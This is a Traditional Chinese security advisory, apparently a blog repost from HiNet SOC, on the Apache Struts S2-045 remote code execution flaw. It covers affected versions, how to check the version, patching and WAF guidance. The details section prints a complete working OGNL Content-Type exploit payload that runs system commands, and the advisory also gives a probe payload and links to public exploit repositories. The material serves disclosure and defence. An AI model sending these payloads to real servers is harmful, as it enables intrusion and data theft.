HiNet SOC 事件通告:Apache Struts 之S2-045弱點可被駭客進行零時差攻擊

HiNet SOC 事件通告:Apache Struts 之S2-045弱點可被駭客進行零時差攻擊

【弱點說明】

根據Apache 更新公告(S2-045),駭客可透過http request上傳已修改好的惡意Content-Type語法,
取得目標網站之控制權。另外,駭客更可透過google語法,
先進行index:action 大量掃描目標網站IP,
接著透過工具或自寫程式送出http request 惡意內容,
即可遠端執行任意程式於受害主機上(ex: cat /etc/passwd 等等),或可取得攻擊目標主機資料夾重要檔案。

HiNet SOC目前已驗證攻擊手法可成功運作,
受到影響的版本為Struts 2.3.31與Struts 2.5.10,
另外研究人員掌握國外有效情資,
目前已有攻擊IP 36.45.172.93正大規模開始掃描攻擊,
HiNet SOC 建議管理者應儘速上網更新與阻擋可能攻擊IP,以降低受駭風險。

【影響範圍】

Apache struts 2.3.5~2.3.31
Apache struts 2.5~2.5.10

【細節描述】
駭客可透過工具程式,對目標網站送出http Request類似封包如下,進而造成目標主機Content-Type未定義之文件類型與Jakarta Multipart parser之漏洞攻擊成功,即可對目標主機遠端執行任意程式:

"%{(#nike=''multipart/form-data'').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[''com.opensymphony.xwork2.ActionContext.container'']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=''ifconfig'').(#iswin=(@java.lang.System@getProperty(''os.name'').toLowerCase().contains(''win''))).(#cmds=(#iswin?{''cmd.exe'',''/c'',#cmd}:{''/bin/bash'',''-c'',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

管理者可先自行確認Struts2 版本確認方式如下:
1.MANIFEST.MF 檔案中Bundle-Version說明目前使用版本
2./tomcat/webapps/struts2-showcase/WEB-INF/lib/struts2-core-版本號碼.jar
HiNet SOC 建議管理者應儘速確認主機是否已完成更新,並請盡速評估是否更新Apache Struts 2.3.32或Apache Struts 2.5.10.1以後版本。

【建議措施】
1.自行啟用工具程式進行弱點確認,例如利用BrupSuite工具進行http request 送到管理者主機,送出語法如下” Content-Type:%{#context[''com.opensymphony.xwork2.dispatcher.HttpServletResponse''].addHeader(''vul'',''vul'')}.multipart/form-data”,如傳回vul代表具有弱點
2.評估是否需要更新至最新版本
3.IPS&WAF規則更新並評估IPS或WAF是否啟用apache struts2防護規則功能,以便阻擋外部主機進行惡意攻擊


【參考資料】

GitHub https://github.com/Flyteas/Struts2-045-Exp
piyolog http://d.hatena.ne.jp/Kango/20170307/1488907259
Hatena Blog http://tigerszk.hatenablog.com/entry/2017/03/08/063334
Apache https://cwiki.apache.org/confluence/display/WW/S2-045
GitHub https://github.com/tengzhangchao/Struts2_045-Poc
Snort https://www.snort.org/advisories/talos-rules-2017-03-07-3-7-2017

沒有留言:

張貼留言

2024年 12 月份資安、社群活動分享

  2024年 12 月份資安、社群活動分享 Self-Taught Coding Tuesdays - Study, Code, Design, Build, Network 2024/12/3 https://www.meetup.com/taiwan-code-camp/e...